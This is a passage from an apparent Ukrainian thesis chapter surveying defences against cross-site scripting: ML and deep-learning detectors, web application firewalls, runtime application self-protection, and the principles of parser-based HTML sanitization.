Аналіз стандарту NIST SP 800-53 виявив систематичний підхід до управління ризиками через множинні контроли на різних рівнях. Контроли SI-10 (валідація вхідних даних) та SI-11 (обробка помилок) надають конкретні вимоги до валідації та безпечної обробки помилок. Контроли SA-11 (тестування безпеки) та SA-15 (процес розробки) забезпечують вимоги до безпечної розробки на всіх етапах життєвого циклу. Інтеграція NIST SP 800-53 з практиками OWASP створює комплексний підхід, що поєднує формальні вимоги відповідності з практичними рекомендаціями безпечної розробки.

Критичним висновком є відсутність окремого механізму для повного захисту від XSS-атак, що обґрунтовує необхідність багаторівневого підходу. Санітизація вхідних даних повинна поєднуватися з правильним кодуванням при виведенні, Content Security Policy для обмеження векторів експлуатації, використанням безпечних фреймворків з автоматичним захистом, та регулярним тестуванням безпеки. Організації повинні впроваджувати формальні процеси життєвого циклу безпечної розробки з обов'язковою перевіркою коду, автоматизованим тестуванням у CI/CD, та регулярним навчанням розробників.

Аналіз виявив суттєву прогалину у систематичному порівнянні ефективності бібліотек санітизації у типових конфігураціях. Існуючі дослідження фокусуються на окремих аспектах безпеки або продуктивності, не надаючи комплексної оцінки з урахуванням балансу між захистом, накладними витратами, споживанням пам'яті та простотою впровадження. Це обґрунтовує необхідність розробки методології багатокритеріального оцінювання на репрезентативному датасеті векторів атак. Це підкреслює необхідність розробки комплексного датасету, що відображає сучасний ландшафт загроз, який буде детально описаний у наступних розділах роботи.

Розділ 2 ДОСЛІДЖЕННЯ МЕХАНІЗМІВ ЗАХИСТУ ВІД XSS-АТАК

2.1 Інтелектуальні методи виявлення та захисту від XSS-атак. Машинне та глибоке навчання

Традиційні механізми захисту, що базуються на статичних правилах або сигнатурах, часто виявляються недостатніми для ефективної протидії швидко еволюціонуючим та обфускованим XSS-пейлоадам [23]. З огляду на це, наукова спільнота та індустрія активно інтегрують методи штучного інтелекту (AI), зокрема машинне (ML) та глибоке навчання (DL), для розробки більш надійних та адаптивних систем виявлення і запобігання XSS-атакам [25].

2.1.1 ML-класифікатори та ансамблеві моделі для детекції XSS

Машинне навчання забезпечує потужні аналітичні інструменти для класифікації веб-запитів на шкідливі (XSS-пейлоади) та легітимні. Для цієї мети широко застосовуються класичні алгоритми керованого навчання, такі як метод опорних векторів (SVM), дерева рішень (DT), K-найближчих сусідів (KNN) та наївний Байєс (Naive Bayes, NB) [26,27].

Аналіз демонструє, що алгоритми на основі дерев рішень показують особливо високі результати: Decision Tree досягає точності 99,91% при ідентифікації XSS [26], а Random Forest (RF), що є так званим ансамблем дерев, досягає 99,78% [25]. У деяких експериментальних умовах точність RF може сягати навіть 100%, демонструючи високу продуктивність при меншому споживанні пам'яті, що є важливим для розгортання на клієнтських пристроях. Ефективність Support Vector Machine (SVM) також підтверджується, оскільки він здатний виявляти шкідливі скрипти з точністю 99,5% у контексті безпеки розширень браузерів [28]. Застосування однокласового SVM (One-Class SVM) в поєднанні з векторизацією TF-IDF дозволяє реалізувати некероване виявлення аномалій, що особливо цінно для ідентифікації нових, недостатньо представлених технік XSS-атак, досягаючи при цьому 99,3% точності

[29]. Дослідження також показують, що інтегрований SVM статистично значуще перевершує KNN (94% проти 84% точності відповідно) [30].

Сучасні дослідження демонструють тенденцію до використання ансамблевих та гібридних моделей для підвищення стабільності та мінімізації помилок. Зокрема, фреймворк XGBXSS, заснований на Extreme Gradient Boosting (XGBoost), досягає високої точності 99,59% при виявленні XSS. Гібридна система, що використовує ансамбль дерев рішень, показала пікові показники точності, чутливості та точності на рівні 99,8% [24]. Ці інтегровані підходи, поєднуючи кілька класифікаторів, забезпечують значне підвищення надійності в умовах складної та мінливої природи XSS-атак.

2.1.2 Глибоке навчання та методи обробки природної мови

Глибоке навчання (DL) пропонує архітектури, які можуть автоматично виділяти складні синтаксичні та семантичні ознаки з XSS-пейлоадів, що за своєю суттю є послідовностями символів або слів [23].

Ключову роль у виявленні атак відіграє архітектура Long Short-Term Memory (LSTM), різновид рекурентної нейронної мережі (RNN), яка здатна зберігати інформацію протягом тривалих послідовностей і ефективно вирішувати проблеми прогнозування послідовностей [31]. Моделі на основі LSTM досягають точності виявлення XSS на рівні 99,25%. Застосування двонаправленої LSTM (BiLSTM) забезпечує автоматичне вилучення ознак і класифікацію пейлоадів з точністю 99,26%, ефективно розрізняючи XSS, SQL-ін'єкції та нормальні запити [32,33]. LSTM також може поєднуватися з механізмами уваги (Attention Mechanism), які автоматично призначають ваги ключовим елементам у послідовності атаки, підвищуючи точність до 99,56%.

Для аналізу структури пейлоаду використовуються й інші DL-архітектури. Згорткові нейронні мережі (CNN) можуть виділяти локальні патерни [34], а гібридні моделі, що поєднують CNN та LSTM, використовують переваги обох: CNN для

вилучення просторових ознак, а LSTM — для послідовних залежностей [35]. Інші дослідження демонструють успішне застосування моделі Transformer для підвищення точності виявлення XSS-атак [36].

У контексті обробки природної мови (NLP) та семантичного аналізу, моделі, такі як BERT (Bidirectional Encoder Representations from Transformers), використовуються для початкового вилучення глибоких семантичних ознак, які потім об’єднуються з результатами DL-моделей (наприклад, BiLSTM) для створення більш стабільних і точних систем. Така інтеграція дозволяє досягати показників точності та F1-score вище 99,5% [37]. Важливим етапом у цьому процесі є перетворення текстових даних (пейлоадів) на числові вектори за допомогою технік, як-от Word Embeddings, що дозволяє нейронним мережам опрацьовувати дані трафіку великого об’єму [38].

2.1.3 Інтелектуальні системи виявлення XSS на рівні мережі та пристроїв

Ефективність ML/DL-підходів дозволяє інтегрувати їх безпосередньо у захисні інфраструктурні рішення, такі як системи виявлення вторгнень (IDS), брандмауери веб-додатків (WAF) та забезпечення безпеки пристроїв Інтернету речей (IoT), так як активно зростають і часто використовують веб-інтерфейси для керування пристроями. Вразливості XSS дозволяють зловмисникам отримувати контроль над цими пристроями та діяти зловмисно в мережі IoT.

Захист IoT та Smart Devices: XSS є критичним ризиком для веб-сервісів IoT. ML-моделі спеціально адаптуються для цих середовищ з обмеженими ресурсами [39]. Наприклад, фреймворк для захисту розумних пристроїв використовує алгоритм Self-Organizing Map (SOM) для класифікації XSS-рядків і подальшої санітизації, досягаючи точності 0,9904 [40]. У дослідженні безпеки IoT-мереж ансамблевий класифікатор AdaBoost показав найвищу точність у прогнозуванні XSS-загроз (99,92%). Застосування глибинних нейронних мереж (DNN) для виявлення атак у мережах IoMT (Internet of Medical Things) також продемонструвало високу точність (96,18% для XSS).

WAF та IDS: Інтеграція ML у Web Application Firewalls (WAF) дає можливість класифікувати шкідливі запити, використовуючи, наприклад, дві ML-моделі: одну для виявлення шкідливості, а іншу — для класифікації типу атаки. Системи Deep Intrusion Detection (DID) використовують LSTM для обробки чистого вмісту трафіку та метаданих, що дозволяє виявляти складні взаємозв'язки і підвищувати точність. Існують також підходи, засновані на концепції Zero Trust (ZTWeb), де використовується модель TextCNN для ідентифікації XSS-атак на основі аналізу послідовності поведінки, що забезпечує 99,7% точності, зберігаючи при цьому зручність використання веб-сайту [41]. Крім того, ML-класифікатори, такі як SVM, можуть бути використані в розширеннях браузерів для моніторингу безпеки в реальному часі, досягаючи 99,5% точності.

Автоматизоване Сканування: Методи сканування чорного ящика (black-box scanning), вдосконалені за допомогою таких фреймворків, як ReScan, що використовує повноцінний сучасний браузер, значно підвищують покриття коду (в середньому на 16,8%) та збільшують кількість виявлених XSS-вразливостей [42].

2.1.4 Адверсаріальні атаки, Генеративний ШІ та Автоматизація тестування за допомогою Навчання з Підкріпленням

Фронт наукових досліджень зміщується від простого виявлення XSS до розробки стійких систем, здатних протистояти навмисно модифікованим пейлоадам, а також до використання інтелектуальних систем для автоматизованої генерації експлойтів.

Обхід ML-детекторів та Стійкість Моделей: Доведено, що DL-моделі, незважаючи на їхню високу точність, є вразливими до адверсаріальних атак, які можуть призвести до неправильної класифікації шкідливого запиту як легітимного. Для генерації таких зразків використовується Навчання з підкріпленням (RL). Наприклад, модель RL, що використовує алгоритм TD3 (Twin Delayed DDPG), змогла підвищити рівень ухилення від ML-детекторів майже на 6% порівняно з іншими методами RL [43]. Ефективною стратегією захисту проти таких маніпуляцій є

адверсаріальне навчання (Adversarial Training), яке, як показано, підвищує надійність DNN-базованих систем виявлення вторгнень [44, 45].

Автоматизована Генерація Експлойтів (AEG): Для подолання обмежень традиційних сканерів, які використовують фіксовані набори пейлоадів, застосовується Навчання з підкріпленням (RL) для автоматизованої генерації векторів атак [46].

Метод HAXSS використовує ієрархічне навчання з підкріпленням (Hierarchical Reinforcement Learning), де агенти навчаються окремо для виходу з поточного контексту та для обходу механізмів санітизації, що значно збільшує різноманітність пейлоадів і дозволяє виявляти нові вразливості типу CVE.

Процес генерації XSS-вектора атаки може бути змодельований як марковський процес прийняття рішень (Markov decision process). Покращений алгоритм Dueling DDQN дозволяє адаптивно генерувати вектори, які можуть обходити захисні механізми, демонструючи кращу швидкість конвергенції та ефективність навчання порівняно з іншими RL-алгоритмами [47].

Вплив Генеративного ШІ: Нещодавні дослідження показали, що великі мовні моделі (LLMs), використовувані для генерації коду, можуть створювати PHP-код, що містить вразливості, включаючи Stored XSS та Reflected XSS, що підкреслює необхідність інтелектуального статичного та динамічного аналізу для перевірки коду, згенерованого AI.

Ці передові інтелектуальні методики виявлення та генерації пейлоадів слугують важливим теоретичним підґрунтям для розробки вдосконаленої методики комплексного захисту, що включає застосування машинного навчання для автоматизованого тестування, як це передбачено метою даної дипломної роботи

2.2 Серверні засоби захисту від XSS-атак

2.2.1 Захист Web Application Firewalls

Web Application Firewall являє собою спеціалізований засіб захисту веб-застосунків, що функціонує на сьомому рівні моделі OSI і призначений для моніторингу, фільтрації та блокування шкідливого HTTP та HTTPS трафіку між користувачами та веб-сервером. На відміну від традиційних мережевих міжмережевих екранів, що працюють на мережевому та транспортному рівнях, WAF здійснює глибоку інспекцію вмісту HTTP запитів та відповідей для виявлення та блокування атак на рівні застосунків, таких як SQL ін'єкції, міжсайтовий скриптинг, включення файлів та отруєння cookies. Архітектурно WAF розміщується між клієнтами та веб-сервером як зворотний проксі, приховуючи IP-адреси внутрішніх серверів та забезпечуючи додатковий рівень безпеки через застосування заздалегідь визначених політик фільтрації трафіку.

Еволюція технологій WAF демонструє перехід від простих систем зіставлення з сигнатурами до складних платформ на основі машинного навчання. Традиційні WAF базуються на двох основних підходах до виявлення атак: негативна модель безпеки, що блокує трафік, який відповідає відомим патернам атак, та позитивна модель безпеки, що дозволяє лише явно визначений легітимний трафік. Applebaum та співавтори у своєму дослідженні систематизували підходи до WAF, виділивши сигнатурні системи, що використовують регулярні вирази та патерни для детектування відомих атак, та системи на основі машинного навчання, здатні виявляти нові, раніше невідомі вектори атак через аналіз аномалій у поведінці трафіку [48]. Сучасні WAF рішення інтегрують обидва підходи для максимізації ефективності захисту при мінімізації хибних спрацьовувань.

Механізм роботи WAF базується на багаторівневому аналізі HTTP запитів перед їх досягненням веб-застосунку. Процес інспектування включає детальне вивчення HTTP методів, заголовків, рядків запитів, тіл запитів та параметрів для виявлення

підозрілої активності через детекцію на основі сигнатур відомих патернів атак та виявлення аномалій для ідентифікації відхилень від нормальної поведінки. Chen та співавтори продемонстрували ефективність комбінованого підходу до детекції XSS-атак, що поєднує синтаксичний аналіз HTML структури з машинним навчанням для класифікації потенційно шкідливих запитів, досягаючи точності виявлення понад 98% при низькому рівні хибних спрацьовувань [49]. Їх система виконує попередню обробку вхідних даних через токенізацію та нормалізацію, після чого застосовує набір правил для фільтрування очевидних атак та використовує класифікатор машинного навчання для аналізу складніших випадків.

Для протидії XSS-атакам WAF застосовує валідацію вхідних даних та санітизацію через інспектування вхідних запитів на наявність шкідливого JavaScript, HTML або обробників подій. Системи виявлення на основі сигнатур використовують заздалегідь визначені правила та регулярні вирази для детектування спроб ін'єкцій, включаючи патерни для тегів script, обробників подій типу onclick та onload, та JavaScript протоколів у атрибутах href. Контекстно-залежна фільтрація аналізує контекст появи потенційного корисного навантаження для визначення, чи є воно легітимною частиною вмісту чи спробою атаки. Оцінювання аномалій присвоює ризикові оцінки запитам на основі відхилень від встановлених базових показників нормального трафіку, враховуючи такі фактори як частота запитів, розмір корисного навантаження, незвичайні комбінації параметрів та джерело запиту.

Сучасні WAF нового покоління розширюють традиційні можливості захисту додатковими функціями для протидії складним загрозам. Omar та співавтори розробили зручну для користувача архітектуру WAF, що включає інтуїтивний інтерфейс управління правилами, автоматизоване оновлення сигнатур атак, та систему візуалізації трафіку для аналізу спроб атак [50]. Їх система демонструє важливість балансу між безпекою та зручністю використання, оскільки складність конфігурації традиційних WAF часто призводить до неправильних налаштувань, що створюють прогалини у захисті. Функціонал сучасних WAF включає протидію ботам

для відрізнення легітимних пошукових роботів від шкідливих скриптів, захист програмних інтерфейсів з підтримкою REST, GraphQL та gRPC, протидію розподіленим атакам відмови в обслуговуванні з вбудованим обмеженням швидкості запитів, та геоблокування з фільтрацією на основі репутації IP-адрес через канали аналітики загроз.

Інтеграція WAF з системами управління інформацією та подіями безпеки створює комплексну платформу моніторингу та реагування на інциденти безпеки. Rahmawati та співавтори дослідили архітектуру, що поєднує WAF у режимі проксі з SIEM системою для детектування атак OWASP Top 10, включаючи XSS, SQL ін'єкції та інші поширені вразливості [51]. Їх експериментальна установка продемонструвала, що інтеграція WAF з SIEM забезпечує не лише блокування атак у реальному часі, але й централізоване збирання логів, кореляцію подій з різних джерел, та можливість ретроспективного аналізу для виявлення складних багатоетапних атак. SIEM система агрегує дані про заблоковані запити, патерни атак, джерела загроз та часові характеристики інцидентів, надаючи аналітикам безпеки інструменти для проактивного виявлення та усунення вразливостей.

Проблема хибних спрацьовувань залишається критичним викликом для WAF систем, оскільки надто агресивні правила фільтрації можуть блокувати легітимний трафік, порушуючи функціональність застосунку. Традиційні сигнатурні WAF часто генерують значну кількість хибних позитивних результатів, особливо для застосунків з складною динамічною поведінкою або користувацьким вводом, що містить спеціальні символи у легітимному контексті. Системи на основі машинного навчання демонструють потенціал для зниження хибних спрацьовувань через здатність адаптуватися до специфічних патернів трафіку конкретного застосунку, однак вимагають періоду навчання на репрезентативних даних та регулярного перенавчання для підтримки актуальності моделей [52]. Гібридні підходи, що комбінують сигнатурну детекцію для відомих атак з машинним навчанням для виявлення

аномалій, забезпечують оптимальний баланс між ефективністю захисту та мінімізацією впливу на легітимних користувачів.

Розгортання WAF може здійснюватися у кількох архітектурних варіантах залежно від вимог інфраструктури та моделі загроз. Хмарні WAF надають захист як послугу без необхідності інвестицій у апаратне забезпечення, забезпечуючи масштабованість та автоматичне оновлення правил, але потребують направлення всього трафіку через хмарний проксі, що може створювати проблеми затримок та приватності даних. Локальні апаратні WAF встановлюються безпосередньо в мережевій інфраструктурі організації, надаючи повний контроль над політиками безпеки та даними, але вимагають значних початкових інвестицій та експертизи для управління. Програмні WAF можуть бути інтегровані безпосередньо у застосунок або веб-сервер, забезпечуючи найнижчу затримку та найглибшу інтеграцію, але обмежені продуктивністю хост-системи та можуть бути скомпрометовані разом із застосунком при успішній атаці.

Ефективність WAF у захисті від XSS-атак значною мірою залежить від якості та актуальності набору правил детектування. Провідні комерційні рішення, такі як Cloudflare WAF, Imperva Cloud WAF та AWS WAF, підтримують OWASP Core Rule Set - комплексний набір правил для детектування поширених веб-атак, включаючи XSS у різних контекстах. Експерти з безпеки Imperva безперервно аналізують нові вектори атак та створюють відповідні правила детектування, забезпечуючи щоденні оновлення для звичайних загроз та оновлення в реальному часі для критичних нових вразливостей. Статистика розгортання показує, що понад 94% клієнтів використовують WAF у режимі активного блокування завдяки майже нульовій кількості хибних спрацьовувань при правильній конфігурації, що підтверджує зрілість технології та її готовність до продакшн використання.

Майбутній розвиток WAF технологій пов'язаний з глибшою інтеграцією штучного інтелекту та автоматизації управління безпекою. Le-Thanh та співавтори представили концепцію розумного рішення для самозахисту веб-застосунків під час

виконання, що поєднує традиційні можливості WAF з проактивним аналізом коду застосунку для виявлення потенційних вразливостей ще до їх експлуатації [6]. Їх система використовує статичний аналіз коду для ідентифікації небезпечних патернів, динамічний аналіз під час виконання для детектування спроб експлуатації, та машинне навчання для адаптації правил захисту на основі спостережуваної поведінки застосунку. Такий підхід представляє конвергенцію WAF з технологіями захисту під час виконання, створюючи більш комплексну та адаптивну систему безпеки для сучасних веб-застосунків.

2.2.2 Захист Runtime Application Self-Protection

Runtime Application Self-Protection являє собою технологію безпеки нового покоління, що інтегрується безпосередньо у середовище виконання застосунку для забезпечення захисту в реальному часі через моніторинг та аналіз поведінки програми зсередини. На відміну від традиційних периметрових засобів захисту, таких як міжмережеві екрани застосунків, що аналізують трафік ззовні, RASP функціонує всередині застосунку, маючи повний доступ до контексту виконання, стеку викликів, потоку даних та логіки програми. Така архітектура надає унікальну можливість розрізняти легітимну поведінку застосунку від спроб експлуатації вразливостей з мінімальною кількістю хибних спрацьовувань, оскільки рішення приймаються на основі повного розуміння контексту операції, а не лише на основі патернів у трафіку.

Фундаментальна відмінність від традиційних засобів захисту полягає у зміщенні фокусу з детектування патернів атак на виявлення аномальної поведінки застосунку під час його виконання. Традиційні WAF аналізують вхідні HTTP запити на наявність відомих сигнатур атак, що робить їх вразливими до нових векторів атак або обфускованих варіантів відомих експлойтів. RASP, натомість, моніторить фактичну поведінку застосунку – які функції викликаються, які дані обробляються, які системні ресурси використовуються – і блокує операції, що відхиляються від очікуваної поведінки, навіть якщо патерн атаки є новим або раніше невідомим. Це робить RASP

особливо ефективним проти атак нульового дня, де експлуатується щойно виявлена вразливість, для якої ще не існує сигнатур у традиційних системах захисту.

Архітектура RASP базується на інструментуванні коду застосунку на різних рівнях абстракції залежно від технології реалізації та цільової платформи. Для платформ на основі віртуальних машин, таких як Java Virtual Machine або .NET Common Language Runtime, RASP агенти можуть інтегруватися на рівні байт-коду або проміжного коду, модифікуючи або обгортаючи критичні методи для вставки перевірок безпеки. Для інтерпретованих мов програмування, таких як PHP, Python або Ruby, інструментування може відбуватися на рівні інтерпретатора. Для компільованих мов можлива інтеграція через модифікацію вихідного коду під час збірки або динамічне інструментування бінарного коду під час завантаження.

Chen та співавтори продемонстрували застосування RASP технології у поєднанні з фреймворком Spark для виявлення вразливостей безпеки зберігання даних в системах Інтернету речей електроенергетики [53]. Їх дослідження показало, що RASP здатний ефективно детектувати спроби несанкціонованого доступу до даних, SQL ін'єкції та інші атаки на рівні зберігання даних через моніторинг фактичних операцій з базою даних у реальному часі. Система аналізувала параметри SQL запитів, контекст їх виконання та джерело даних для визначення легітимності операції, досягаючи високої точності детектування при низькому рівні хибних спрацьовувань завдяки глибокому розумінню контексту застосунку.

Механізми захисту RASP від XSS-атак включають моніторинг операцій виведення даних у контексті веб-застосунку, особливо функцій, що генерують HTML контент або виконують JavaScript код на основі користувацького вводу. Вбудований агент відстежує потік даних від джерел користувацького вводу через застосунок до точок виведення, виявляючи ситуації, коли неперевірені або несанітизовані дані потрапляють у небезпечні приймачі типу відповідей HTTP, генерації HTML або виконання динамічного коду. На відміну від WAF, що може бути обійдений через кодування або складні техніки обфускації на рівні запиту, RASP аналізує фактичні

дані після їх декодування застосунком, коли вони знаходяться у канонічній формі, що робить обхід значно складнішим.

Глибока видимість всередині застосунку дозволяє детектувати складні ланцюги експлуатації, де окремі компоненти атаки можуть виглядати легітимними, але їх комбінація або послідовність вказує на шкідливу активність. Наприклад, може бути виявлена ситуація, коли користувацький ввід спочатку зберігається у сесії, потім витягується і використовується для генерації SQL запиту, після чого результат запиту без санітизації виводиться у HTML відповідь, що являє собою класичний ланцюг для складної XSS або SQL ін'єкції атаки. Традиційні засоби захисту можуть пропустити такі атаки, оскільки кожен окремий крок може виглядати легітимним, тоді як RASP бачить повну картину потоку даних через застосунок.

Аналіз поведінки у RASP системах використовує машинне навчання та евристичні алгоритми для створення базових моделей нормальної поведінки застосунку під час фази навчання. Ці моделі включають типові патерни використання функцій, частоту викликів методів, характеристики потоків даних, та взаємодії з зовнішніми системами. Під час продакшн роботи RASP порівнює поточну поведінку з базовими моделями, присвоюючи ризикові оцінки операціям, що відхиляються від норми. Адаптивні алгоритми дозволяють системі оновлювати базові моделі при легітимних змінах у застосунку, таких як додавання нового функціоналу або зміна бізнес-логіки, уникаючи накопичення хибних спрацьовувань з часом.

Різні режими роботи забезпечують гнучкість у балансі між безпекою та ризиком впливу на роботу застосунку. Режим моніторингу записує виявлені аномалії та потенційні атаки у логи без блокування операцій, дозволяючи організаціям оцінити ефективність та налаштувати політики безпеки перед активацією захисту. Режим блокування активно перериває підозрілі операції, запобігаючи експлуатації вразливостей у реальному часі. Гібридний режим комбінує обидва підходи, блокуючи операції з високим рівнем впевненості у шкідливості та записуючи у лог операції з середнім рівнем підозрілості для подальшого аналізу безпечниками.

Інтеграція RASP у процес розробки та розгортання застосунків вимагає ретельного планування та тестування для мінімізації впливу на продуктивність та забезпечення сумісності. Додавання інструментування коду та моніторингу у реальному часі створює певні накладні витрати на ресурси, які для оптимізованих реалізацій є відносно низькими, тоді як більш агресивні конфігурації моніторингу можуть суттєво впливати на продуктивність. Організації повинні провести ретельне тестування продуктивності у середовищі, що максимально наближене до продакшн. Особливу увагу слід приділити високонавантаженим ендпоінтам та критичним для продуктивності компонентам застосунку.

Виклики впровадження включають необхідність глибокої інтеграції з застосунком, що може вимагати змін у процесі збірки, розгортання або конфігурації середовища виконання. На відміну від WAF, що може бути розгорнутий як окремий компонент перед застосунком без змін у самому застосунку, RASP вимагає модифікації способу запуску або пакування застосунку для включення агента захисту. Це може створювати складнощі у старих системах або застосунках зі складними залежностями, де додавання нового компонента може призвести до конфліктів або проблем сумісності. Також існує ризик, що вразливості у самому RASP агенті можуть створити нові вектори атак, оскільки агент має привілейований доступ до внутрішніх структур застосунку.

Порівняльний аналіз RASP та WAF демонструє комплементарність цих технологій для створення багаторівневого захисту. WAF забезпечує широке покриття на периметрі, блокуючи очевидні атаки до їх досягнення застосунку та знижуючи навантаження на RASP через фільтрування шкідливого трафіку. RASP надає глибокий контекстуальний захист всередині застосунку, виявляючи складні атаки, що обійшли WAF через обфускацію або використання легітимних каналів. Комбінація обох технологій створює ситуацію, де атакуючий повинен обійти як зовнішній фільтр WAF, що аналізує патерни у трафіку, так і внутрішній моніторинг RASP, що відстежує

аномальну поведінку застосунку, значно підвищуючи складність успішної експлуатації вразливостей.

Еволюція RASP технологій пов'язана з інтеграцією більш складних алгоритмів машинного навчання для підвищення точності детектування та зниження хибних спрацьовувань. Сучасні рішення використовують глибоке навчання для аналізу складних патернів поведінки застосунку, що дозволяє виявляти тонкі аномалії, які можуть вказувати на просунуті атаки. Федеративне навчання дозволяє RASP системам ділитися знаннями про нові вектори атак між різними інсталяціями без компрометації приватності даних конкретних організацій, створюючи колективний інтелект для захисту від загроз нульового дня.

Інтеграція з хмарними платформами та контейнеризованими застосунками створює нові можливості для автоматизації та масштабування захисту. Провайдери хмарних сервісів пропонують цей підхід як частину платформних послуг безпеки, забезпечуючи автоматичне інструментування застосунків при їх розгортанні та централізоване управління політиками безпеки через всю інфраструктуру.

Майбутній розвиток RASP включає глибшу інтеграцію з DevSecOps практиками, де вбудовані інструменти надають зворотний зв'язок розробникам про виявлені вразливості безпосередньо у процесі розробки. Телеметрія з агентів може використовуватися для автоматичної генерації тестових випадків, що імітують реальні спроби атак, дозволяючи розробникам верифікувати ефективність захисту перед розгортанням нових версій. Інтеграція з системами управління вразливостями та платформами аналізу коду створює замкнений цикл, де виявлення вразливості у продакшн через RASP автоматично викликає створення завдання на виправлення у системі відстеження помилок та ініціює сканування кодової бази для виявлення подібних проблем.

2.3 Теоретичні основи санітизації HTML

2.3.1 Проблема клієнтської XSS та «самописні санітайзери»

Хоча значні ресурси інвестуються в захист вебу, міжсайтовий скриптинг (XSS) залишається поширеним. Це особливо стосується клієнтського XSS, оскільки веб-браузери, на відміну від серверних фреймворків, не постачаються зі стандартними процедурами захисту, які називаються санітайзерами. Розробники часто змушені використовувати сторонні бібліотеки або писати власні функції санітизації — «самописні санітайзери» (hand sanitizers) — для запобігання XSS-атакам. Однак, такі самописні рутини, як відомо, складно реалізувати безпечно.

Автори масштабного дослідження Klein D. та Barber T запропонували техніку для автоматичного виявлення, вилучення, аналізу та валідації функцій санітизації JavaScript, використовуючи комбінацію відстеження забруднення (taint tracking) та символьного аналізу рядків (symbolic string analysis). Це перше великомасштабне дослідження клієнтських JavaScript-санітайзерів.

Методом було виявлено 705 унікальних санітайзерів на 1415 доменах із 20 000 найбільш популярних веб-сайтів. Було встановлено, що 12,5% виявлених санітайзерів є незахищеними (insecure). Крім того, для 51,3% цих вразливих санітайзерів вдалося автоматично згенерувати експлойти, що обходять захист, підкреслюючи небезпеку ручних спроб санітизації [54].

Висновки та наслідки: Вразливі санітайзери були присутні в усьому діапазоні досліджуваних рейтингів веб-сайтів, і більшість із них виявилися недостатньо універсальними, щоб запобігти XSS, якщо їх використовувати в трохи іншому контексті. Робота підкреслює необхідність прийняття стандартизованого підходу до санітизації, доступного безпосередньо в браузері

2.3.2 Принципи безпечної обробки користувацького вводу

Парсинг HTML та побудова DOM-дерева. Фундаментальним етапом безпечної обробки користувацького вводу, що містить HTML розмітку, є коректний парсинг та побудова об'єктної моделі документа. Процес парсингу HTML є надзвичайно складним через історичну еволюцію стандарту HTML та необхідність підтримки зворотної сумісності з некоректно сформованою розміткою. Специфікація HTML визначає детальний алгоритм парсингу, який включає токенізацію вхідного потоку символів, побудову дерева елементів з урахуванням правил вкладеності, обробку неявно закритих тегів та коректну інтерпретацію спеціальних контекстів, таких як CDATA секції та comment блоки.

Критичною особливістю, що має пряме відношення до безпеки, є те, що HTML може бути розпарсений по-різному залежно від контексту. Парсинг цілого документа відрізняється від парсингу HTML фрагмента, а парсинг контенту всередині різних елементів може підкорятися різним правилам. Наприклад, елемент style в HTML namespace згідно зі специфікацією має content model типу Text, що означає неможливість вкладення дочірніх елементів, і будь-який HTML всередині style тега розглядається як текстовий контент. Однак той самий елемент style всередині SVG контексту веде себе інакше і може містити дочірні елементи. Ця поведінка створює можливості для mutation XSS атак, коли HTML парситься санітайзером в одному контексті, а потім рендериться браузером в іншому, що призводить до зміни інтерпретації коду.

Використання надійного HTML парсера є абсолютно необхідним для безпечної обробки користувацького контенту. Спроби використовувати регулярні вирази або прості текстові операції для «очищення» HTML є фундаментально хибними і легко обходяться через складність та гнучкість HTML синтаксису. Класичний XSS cheat sheet та filter evasion guide демонструють численні техніки обходу regex-based фільтрів через використання альтернативних кодувань, вкладених тегів, спеціальних Unicode

символів та інших особливостей HTML парсингу. Сучасні бібліотеки санітизації, такі як DOMPurify для JavaScript або OWASP Java HTML Sanitizer, використовують вбудовані браузерні HTML парсери або спеціалізовані парсерні бібліотеки для створення повноцінного DOM дерева з вхідного HTML.

Метод DOMParser в браузерному середовищі дозволяє парсити HTML рядок в ізольованому, sandbox середовищі без виконання жодного коду. Це критично важливо, оскільки дозволяє безпечно проаналізувати структуру HTML без ризику виконання вбудованих скриптів або тригерування event handlers. Створений DOM документ існує поза межами реального DOM сторінки, тому будь-який потенційно шкідливий код в ньому залишається неактивним. Після парсингу санітайзер може ітерувати через отриману структуру дерева, аналізувати кожен елемент та атрибут, приймати рішення про їх безпечність, та створювати очищену версію HTML. Цей підхід parser-based санітизації є єдиним надійним методом обробки користувацького HTML контенту.

Важливо розуміти, що побудова DOM дерева не є простим лінійним процесом. HTML парсер підтримує stack of open elements, який визначає поточний контекст парсингу, та insertion mode, який змінюється залежно від того, які елементи зустрічаються в потоці. Певні елементи можуть тригерувати автоматичне закриття інших елементів, як у випадку з вкладеними form елементами, де специфікація забороняє form бути нащадком іншого form, що призводить до автоматичного закриття першої форми при зустрічі другої. Ці особливості можуть бути використані для обходу санітайзерів, якщо вони не точно імплементують специфікацію HTML парсингу. Mutation XSS атаки часто експлуатують саме різницю між тим, як HTML парситься санітайзером при першому проході, та як він ре-парситься браузером після серіалізації.

Ідентифікація небезпечних елементів та атрибутів. Після успішного парсингу HTML та побудови DOM дерева наступним критичним етапом є ідентифікація потенційно небезпечних елементів та атрибутів. Підхід білого списку, при якому явно

визначається набір дозволених елементів та атрибутів, є єдиним рекомендованим методом, оскільки blacklist підходи неминуче залишають прогалини через постійну еволюцію HTML стандарту та появу нових векторів атак. OWASP рекомендує використовувати DOMPurify для HTML санітизації в JavaScript середовищі та OWASP Java HTML Sanitizer для серверних Java додатків, оскільки ці бібліотеки підтримуються експертами з безпеки та регулярно оновлюються для протидії новим технікам обходу.

Елемент script є очевидно небезпечним, оскільки його призначення полягає саме у виконанні JavaScript коду. Проте існує значна кількість інших елементів, які можуть використовуватися для виконання коду або створення інших форм атак. Елементи iframe, frame та frameset дозволяють вбудовувати зовнішній контент і можуть використовуватися для фішингу або завантаження шкідливого контенту. Елементи object, embed та applet історично використовувалися для вбудовування Flash апплетів та інших плагінів, які були джерелом численних вразливостей. Елемент base може змінити базовий URL для всіх відносних посилань на сторінці, що дозволяє перенаправити користувача на шкідливі ресурси в атаці, відомій як base jumping. Елемент link може завантажувати зовнішні ресурси, включаючи stylesheets, які можуть містити JavaScript через url() функцію в CSS або через import директиву.

Атрибути представляють ще більшу складність через їх різноманітність та контекстно-залежну семантику. Event handler атрибути, такі як onclick, onload, onerror, onmouseover та численні інші, безпосередньо виконують JavaScript код при настанні відповідної події. Сучасні HTML специфікації визначають понад сотню різних event handlers, і всі вони повинні бути заблоковані або видалені під час санітизації. Атрибут style може містити CSS вирази, які в деяких контекстах можуть виконувати JavaScript через застарілі конструкції типу expression() в Internet Explorer або через url() функцію з javascript: протоколом. Атрибути src, href та xlink:href можуть містити javascript: або data: URLs, які при активації виконують код. Атрибут formaction дозволяє

перевизначити URL, куди надсилається форма, що може бути використано для перехоплення даних користувача.

